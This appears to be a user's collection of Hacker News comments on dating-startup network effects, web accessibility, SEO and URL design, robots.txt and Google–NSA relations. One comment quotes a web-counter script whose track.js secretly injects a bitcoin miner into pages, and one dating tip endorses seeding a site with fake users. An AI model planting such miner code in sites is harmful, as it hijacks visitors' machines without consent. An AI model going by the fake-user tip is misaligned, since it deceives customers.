blauwbilgorgel

"8. Dating. Current dating sites are not the last word. Better ones will appear. But anyone who wants to start a dating startup has to answer two questions: in addition to the usual question about how you're going to approach dating differently, you have to answer the even more important question of how to overcome the huge chicken and egg problem every dating site faces. A site like Reddit is interesting when there are only 20 users. But no one wants to use a dating site with only 20 users—which of course becomes a self-perpetuating problem. So if you want to do a dating startup, don't focus on the novel take on dating that you're going to offer. That's the easy half. Focus on novel ways to get around the chicken and egg problem."

To overcome network effects, such as in dating sites, the following can be used:

- Leverage an existing network (ie: Facebook).

- Partner with an existing network (ie: target niche users of a dating site)

- Do not make it look/feel like a dating site, but gradually grow into it, or keep dating as an aside functionality to finding or hanging out with like-minded people (much like a bar).

- Seed the dating site with fake or paid users (seedy, but practical).

- Give free or low-threshold access to either the chickens or the eggs. A dating site that is free for women or offers different functionality.

- Hustle your early users. Make friends and family use it.

- Making it useful for online marketeers, exclusive invite only, or the "place to be" by attracting famous people.

  [Accessibility] often focuses on people with disabilities or special needs.

"WAI-ARIA addresses these accessibility challenges by defining how information about this functionality can be provided to assistive technology. With WAI-ARIA, an advanced Web application can be made accessible and usable to people with disabilities."

It isn't, really. I made a mistake and thought that every page (served to users and search engines) had the same title and description. A user is unlikely to read a meta description, unless he/she is on a search results page.

>How does making this a pure JavaScript web app degrade the end-user's experience?

NoScript users and special need users are unable to access your website's content.

> JS and client-side rendering makes for a much better experience.

Agreed. Progressive enhancement makes this possible and get the best of both worlds: Accessible content for NoScript users, spiffy JS rendering one page app for JavaScript users. RMS can even download your pages through Lynx.

If you go pure JavaScript, you can at least add a <noscript> where you explain why you need JavaScript to enjoy this site.

- Not all search engines can handle JavaScript, Google is leading the way, but not perfect.

- Those NoScript users could be potential clients or users of your site. I love it when my conversation rate goes up 1%, and that becomes harder when you ignore 1-5% of users.

- Screenreaders generally do not support JavaScript [not true, see comment]. If only one blind user gets to access the content/design I created, then that is worth it to me. I am thinking as front-end engineer here, not as a business owner, where time is money. (Also depending on jurisdiction it may be against the law to be inaccessible).

- Noscript users will likely bounce in large numbers when seeing just a blank page. Simply adding a <noscript> tag, explaining why you need JavaScript goes a long way.

As a front-end engineer I go for maximum content accessibility. I don't meddle into the politics of things ("If we don't drop IE6 support, the web won't move forward!").

I totally understand the new landscape, where a lot of people have JavaScript on. Some web apps can not use progressive enhancement, because the JavaScript is core to the app. But for "static" content websites like these, it is certainly possible to make a website that is usable by most users, human and robot.

Visiting http://monocle.io/posts/how-yield-will-transform-node without JavaScript support yields a blank page.

All page titles are <title>Monocle</title> which isn't very descriptive and the meta description is the same for every page. Only with escaped_fragment can a user see descriptive page titles. For JavaScript users all pages are titled "Monocle".

There are no unique content articles to rank nr. 1 for. The articles are all found on other sites. I don't really see Monocle rank 2 a lot (a quick glance). Those are reserved for other aggregating sites.

The Google guidelines say:

  Make pages primarily for users, not for search engines.
  "Does this help my users? Would I do this if search 
  engines didn't exist?"

IE9- (and Android 1.6-) didn't scale/zoom well when the font was set in px. But using px was widespread despite these (and other) cons because it was easy, reliable and consistent to implement across browsers. [3]

Pt (point type) are only for printer style sheets [4], not screen style sheets. Using them for screen styles is not-done and doesn't make much sense. [5]

[1] http://snook.ca/archives/html_and_css/font-size-with-rem

[2] http://clagnut.com/blog/348/

[3] http://alistapart.com/article/howtosizetextincss

[4] http://css-tricks.com/css-font-size/

[5] http://style.cleverchimp.com/font_size/points/font_wars.GIF

  Company ( 0.0567236272499 )
  iPhone = Eye Phone = Illuminati Phone. Siri spelled backwards is Iris, thats a part of the Eye. Apple is Illuminati. They're watching you. 

  Company ( 0.208253968254 )
  Apple caught testing offline Dictation for iOS 7 http://idb.tc/1d2GKph 

  Company ( 0.0578323858427 )
  RT @jonnyevans_cw: Why #Apple really, really doesn't need a shopkeeper to lead its retail chain http://shar.es/AhsUK  via @computerworld 

  Company ( 0.0242924384131 )
  The Best Music Streaming Apps For Your iPhone #Apple #iPhone http://bit.ly/14xwinU  

  Company ( 0.0249022556391 )
  Apple May Be Working on Self-Adjusting Noise-Cancelling Headphones http://on.mash.to/12hFDMu  via @mashable 

  Company ( 0.488585099111 )
  Samsung Continues Ad Campaign against Apple's iPhone in Iceland 

  Company ( 0.179605263158 )
  the creator of the iPhone 

  Company ( 0.0764348527178 )
  I Used To Hate Apple, And Now I'm A Giant Sell-Out http://bit.ly/IGL0h5  #archivesWeek in Review | YSL Chief Executive to Apple, Bec Astley Clarke, Fashion Sweatshirts, Esteban Cortazar http://bit.ly/128MPf5  via @BoFI've been single since Apple was just a fruit. 

  Fruit ( 0.727605245395 )
  I be up so high trying to get a piece of that apple pie 

  Fruit ( 0.438529121875 )
  I want to eat healthy I really do. But I just found a whole apple pie in my fridge. 

  Fruit ( 0.662778904665 )
  Apple banana and a cup of milo 

  Fruit ( 0.0214817448669 )
  Apple I look like a human heart. Mango I look like a stomach. Grapes I look like eyes. Banana I don't like this game. 

  Fruit ( 0.0815735543081 )
  An apple potato and onion all taste the same if you eat them with your nose plugged. 

  Fruit ( 0.229706852 )
  PSYCHOLOGY Test Choose 1 among the fruits below: APPLE MANGO GRAPES PEAR BANANA 

  Fruit ( 0.00714560473592 )
  Today's shake is spinach, avocado, apple orange banana blueberry with Chia seed and protein feelin the energy 

  Fruit ( 0.238171611868 )
  Banana Bread topped with Apple Maple Syrup and Yoghurt 

  Fruit ( 0.184395490353 )
  Mid-PM Snack Apple blueberries frozen mixed berries plain @Alpro_UK soya yoghurt, coconut flakes & agave nectar pic.twitter.com/4188sHosA5 

  Fruit ( 0.0788802216228 )
  Green spinach kale apple banana garlic ginger Orange lemon ginger cayenne #juicing http://instagram.com/p/bbT6L3yZyU/  

  If you received a phishing warning but believe that this is
  actually a legitimate page, please complete the form below 
  to report the error to Google. Information about your 
  report will be maintained in accordance with Google's 
  privacy policy.

Use Google Webmaster Tools for your product site and check for issues: https://www.google.com/webmasters/tools/home?hl=en

Try to come up with a reason why this may not be a false positive. Perhaps you have trademark issues? etc.

More info:

http://blog.chromium.org/2008/11/understanding-phishing-and-... This includes the URL of the website you are visiting, as well as the URL of any included resources (such as included JavaScript or Adobe Flash movies)

https://support.google.com/chrome/answer/99020

https://www.usenix.org/legacy/event/hotbots07/tech/full_pape... [pdf] The Ghost In The Browser. Analysis of Web-based Malware (a paper to make this post interesting to others)

http://en.wikipedia.org/wiki/American_Service-Members'_Prote...

Also called the "Invasion of the Hague act" since such freeing of US citizens by force might only be possible through an invasion of The Hague, Netherlands, the seat of several international criminal courts and the seat of the Dutch government.

It has happened the other way around.

http://en.wikipedia.org/wiki/Khalid_El-Masri

Khalid El-Masri is a German citizen who was mistakenly abducted by the Macedonian Police, and handed-over to the U.S. CIA, whose officers interrogated, sodomized and tortured him. While in CIA hands, he was flown to Afghanistan, where he was held in a black site, interrogated, beaten, strip-searched and subjected to inhuman and degrading treatment, tantamount to torture. After El-Masri held hunger strikes, and was detained for four months in the "Salt Pit", the CIA finally admitted his arrest and torture were a mistake and released him. He is believed to be among an estimated 3,000 detainees whom the CIA has abducted from 2001-2005.

Or your definition of "SEO'd" is leaning more to manipulative/sleazy.

In your example about the spectacle cases, would the other site being an affiliate make a (huge) difference? If Google punishes companies that have more than one website, people would shift to affiliates or try to hide they own the websites in other ways. In a way I feel multiple McDonalds in one city is perfectly possible. However, there needs to be a balance between the "best" websites (be they from the same owner or not) and diversity of the results (a query deserves diversity).

[1] http://www.codinghorror.com/blog/2008/10/the-importance-of-s... "We knew from the outset that Google would be a big part of our traffic, and I wanted us to rank highly in Google"

[2] http://www.mattcutts.com/blog/pagerank-sculpting/ "In the same way that Google trusts sites less when they link to spammy sites or bad neighborhoods, parts of our system encourage links to good sites."

[3] http://support.google.com/webmasters/bin/answer.py?hl=en&ans...

A lot of confusion seems to stem from "direct access" and "collected directly from the server" anyway. I personally don't believe the NSA would ever install a backdoor at Google. There are probably other ways that don't involve direct access that are more in compliance with the law (which should be the main focus).

  On 4 February 2010, the Washington Post reported, “Google
  approached the NSA shortly after the attacks, sources
  said, but the deal is taking weeks to hammer out,
  reflecting the sensitivity of the partnership. Any
  agreement would mark the first time that Google has
  entered a formal information-sharing relationship with the
  NSA.” EPIC rapidly submitted a Freedom of Information
  request to the NSA requesting any documents pertaining to
  this NSA/Google relationship. The NSA’s response was
  Glomar – a refusal to confirm or deny that any records
  exist.

I totally get it though: Security and operations at the largest search engine in the world is a matter of national security. I think this new Google-NSA relationship is inevitable, though it could be a bit more transparent.

  SC 1.4.1 Use of Color: Color is not used as the only 
  visual means of conveying information, indicating an
  action, prompting a response, or distinguishing a visual 
  element. (Level A)

  Users who have color-blindness benefit when information 
  conveyed by color is available in other visual ways.

  Wie sich aus § 55 Abs. 1 RStV ergibt, trifft 
  einen Anbieter somit nur dann keine Impressumspflicht, und
  er kann seine Webseite völlig anonym ins Internet stellen,
  wenn sein Angebot ausschließlich persönlichen oder
  familiären Zwecken dient.

A link to https://us.pycon.org from a post dating back to 2008 now redirects to https://us.pycon.org/2013. But that is on a domain basis. Hypothetical: python.org/pycon could always show the most current event, with a link to an archive, if you'd want to read the announcement page of the 2008 event, for whatever reason.

If you use python.org/pycon-2012/ and it gets 1000s of links, then you lose all that if you create a new URL python.org/pycon-2013/.

This does depend on the event of course and how bad it is reduced in relevance after its date has passed.

Compare: /search-engine-ranking-factors-2010 /search-engine-ranking-factors-2011 /search-engine-ranking-factors-2012

or a catchall:

/search-engine-ranking-factors

Showing the most current one. An URL like above will collect links from all the years, instead of spreading it out over multiple years.

P.S.: If you register pycon2013.org then domain squatters might register pycon2014.org pycon2015.org etc.

- Short over long. Consider removing useless words from the url like news.ycombinator.com/tips-for-designing-good-urls

- Concise. To the point, describe the page content from the url

- Use lowercase. Generally the best idea, for sharing links and technical issues (Apache is case-sensitive sometimes)

- Consistent. Stay consistent, make a style guide for URL's if necessary

- Conscious of trailing slashes. Stick with trailing slashes or no trailing slashes. Redirect to preferred form.

- Logical. Follow a logical structure, that follows the structure of the site. A good URL might read like a breadcrumb: site.com/category/product-name, this works for silo'ing your content. Other sites (such as news sites or without a category) might benefit more from the shortest url possible.

- Using dashes for spaces. No underscores, + or %20 spaces.

- Not using special chars. Consider replacing é with e and removing any non-alphabet non-number character like: ' " (

- Canonical. There should be only 1 unique URL in a search engines index with a page content. Use canonical or 301's or smart use of URL's to make sure this is the case.

- Degradable. What happens if a user visits example.com/category/product-name/ and then removes the /product-name/ part? The URL-structure should allow for this and example.com/category/ should return content (preferably the category description)

- Timeless. If you have an event and you set the date inside the URL, then after this date has passed, this URL gets less valuable. Either 301 these aged URL's to the current event URL, or make it so your URL's can be "re-used" for future events. Cool URLs don't change.

- Optimized for search. Use a keyword tool, to find out what users might be searching for and use the relevant keywords inside your URL. Keyword in URL is a (minute) ranking factor. Bolded keywords in URLs help discoverability.

- Not using excessive dynamic variables. These will confuse your users and search engines.

- Flat over deep. Hiding content away in many subdirectories can hamper readability and search engine crawling. Avoid example.com/cat/subcat/subsubcat/widgets/green/second-hand/widget-deluxe/reviews

- Extension agnostic. An URL ending in .php, .py, .xml, .htm etc. can be changed to another extension in the future, requiring an update or inconsistency in the URLs.

- Not spammy. Good URL's don't repeat (slight variations of) keywords or (ab)use extensions like .font or .shoe

- Not disclosing technology. There is little reason to add cgi-bin to your URLs (unless you want to confuse your competition). An extension to really avoid is the .exe extension (mapserv.exe?doc=15)

- Non-traversable. When using document IDs all URL's can easily be scanned/traversed in a loop or manually. Including URL's not yet ready/or never meant for publication.

- Secure. Not susceptible to injection, XSS etc.

I'd say URLs are both for humans and machines.

  <script type="text/javascript" language="javascript" src=
  "http://www.ewebcounter.com/include/track.js"></script>
  <noscript><a href="http://www.ewebcounter.com/" target="_blank">
  <img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt=
  "Website Activity" border="0"></a>
  </noscript>
  <!-- End of eWebCounter Code -->

  
  www.ewebcounter.com/include/track.js:
  
  document.write('<scr'+'ipt type="text/javascript" src=
  "http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>');
  document.write('<scr'+'ipt type="text/javascript" src=
  "http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>');
  document.write('<scr'+'ipt type="text/javascript" src=
  "http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>');
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- Not all links have a title attribute

- Large lists of links do not have a skip link.

- Searchform is a javascript submit, with no fallback or warning (doesnt work without javascript support)

- Mailto: adresses have subject preset.

- Links are not underlined.

- Popular topics links are black instead of blue, and the hovercolor doesn't register for the colorblind.

- Larger images often lack an alt-attribute.

- Inline CSS hampers custom user stylesheets.

- Submenu is somewhat confusing, visually disjointed from the main menu.

- The contact form is a table without a table summary, and doesn't work without javascript enabled, without a warning.

- Missing a breadcrumb

- Low contrast for blue links on white background.

- Trouble finding the contact form. Submenu is initially hidden and you have to select "Contact information" from a list of links inside the "People" page.

- After submitting form: <h1>&nbsp;</h1><h1><strong>Message Sent</strong></h1><p>&nbsp;</p>

- Font-stack of Helvetica renders ugly on Windows machines

- Form labels are not bold, above the form input, or of reasonable font-size.

- Content pages don't start with the content, but with a huge sidebar of links, not conform reading pattern.

- Both HTML and CSS are not valid.

- http://www.nngroup.com/articles/ is somewhat paralizing with information/link overload.

I do like the design a lot, it being vanilla Foundation.

If you turn on 3D mode (right mouse -> 3D mode on) the ring and dust/scratches remain, but the sepia filter is removed.

If the maptype parameter is 8 (&t=8) assets get loaded from the "papermaps" directory:

  https://maps.gstatic.com/intl/en_ALL/mapfiles/papermaps/

  https://maps.gstatic.com/intl/en_ALL/mapfiles/

  https://maps.gstatic.com/intl/en_ALL/mapfiles/papermaps/mapcontrols3d2.png

The world map seems to be indeed just images. Compare:

  http://maps.gstatic.com/mapfiles/mv/hpimgs6.png
  http://maps.gstatic.com/mapfiles/papermaps/hpimgs.png

Demo Turing pattern-like fluid in WebGL: http://cake23.de/turing-fluid.html

Watching them slowly change and with different parameters can be very mesmerizing:

Video: http://www.youtube.com/watch?v=KKwbDKRKG7k multiscale turing pattern (python+opencv)

Code (Python): https://code.ros.org/trac/opencv/browser/trunk/opencv/sample...

Paper: http://www.jonathanmccabe.com/Cyclic_Symmetric_Multi-Scale_T...

  User-agent: *
  Disallow: /

  User-agent: *
  Disallow:

  Sitemap: http://blog.digg.com/sitemap-pages.xml
  Sitemap: http://blog.digg.com/sitemap1.xml

  User-agent: *
  Disallow: /private
  Disallow: /random
  Disallow: /day
  Crawl-delay: 1

http://digg.com/news/gaming/ing_bank_i_ilanlar

and even more duplicate tag and rss pages for "site:digg.com/tag/" and "site:digg.com rss".

These /news/ pages 302 redirect to many different sites (some are bound to contain spam or be of lower quality).

302 redirects for these links is bad practice. Some link shorteners (ab)use 302 Found (instead of 301 Moved Permanently) to hoard content that doesn't belong to them. The content for these links can't be found on digg.com, so they too use the wrong redirect and associate themselves with all pages they link to.

Besides that: Digg.com acts like a single page webapp for most of its content. There are no discussion pages or detail pages for the stories. The content that does appear is near duplicate to other content on the web, especially with popular stories, where many blogs just copy the title and the first intro paragraph.

The advice I gave was sincere though. In practice I see many businesses aiming for links, when their content just isn't up to par. Quality content alone (without links) is enough to rank in many niches. If you get to the hyper-competative SERPS, sure, you can't escape link building or doing most of the work in-house. Droll: If you are about to enter a hyper-competative niche, you should already know what you are doing, else there is little chance you succeed.

For me, in practice, creating accessible content is still one of the best things start-ups can do. Blog about two times a week and you will rank for it, you don't necessarily need backlinks. If you got an inaccessible site with poor content, you need (probably to buy) backlinks to make a dent.

Disclaimer advice: Never stake your business model on uncustomized broad SEO advice. Especially when there are plenty of authoritative sources for sound start-up SEO advice like:

http://www.youtube.com/watch?v=El3IZFGERbM

http://vimeo.com/39473593

http://www.distilled.net/blog/seo/seo-for-start-ups/

http://www.kalzumeus.com/2010/01/24/startup-seo/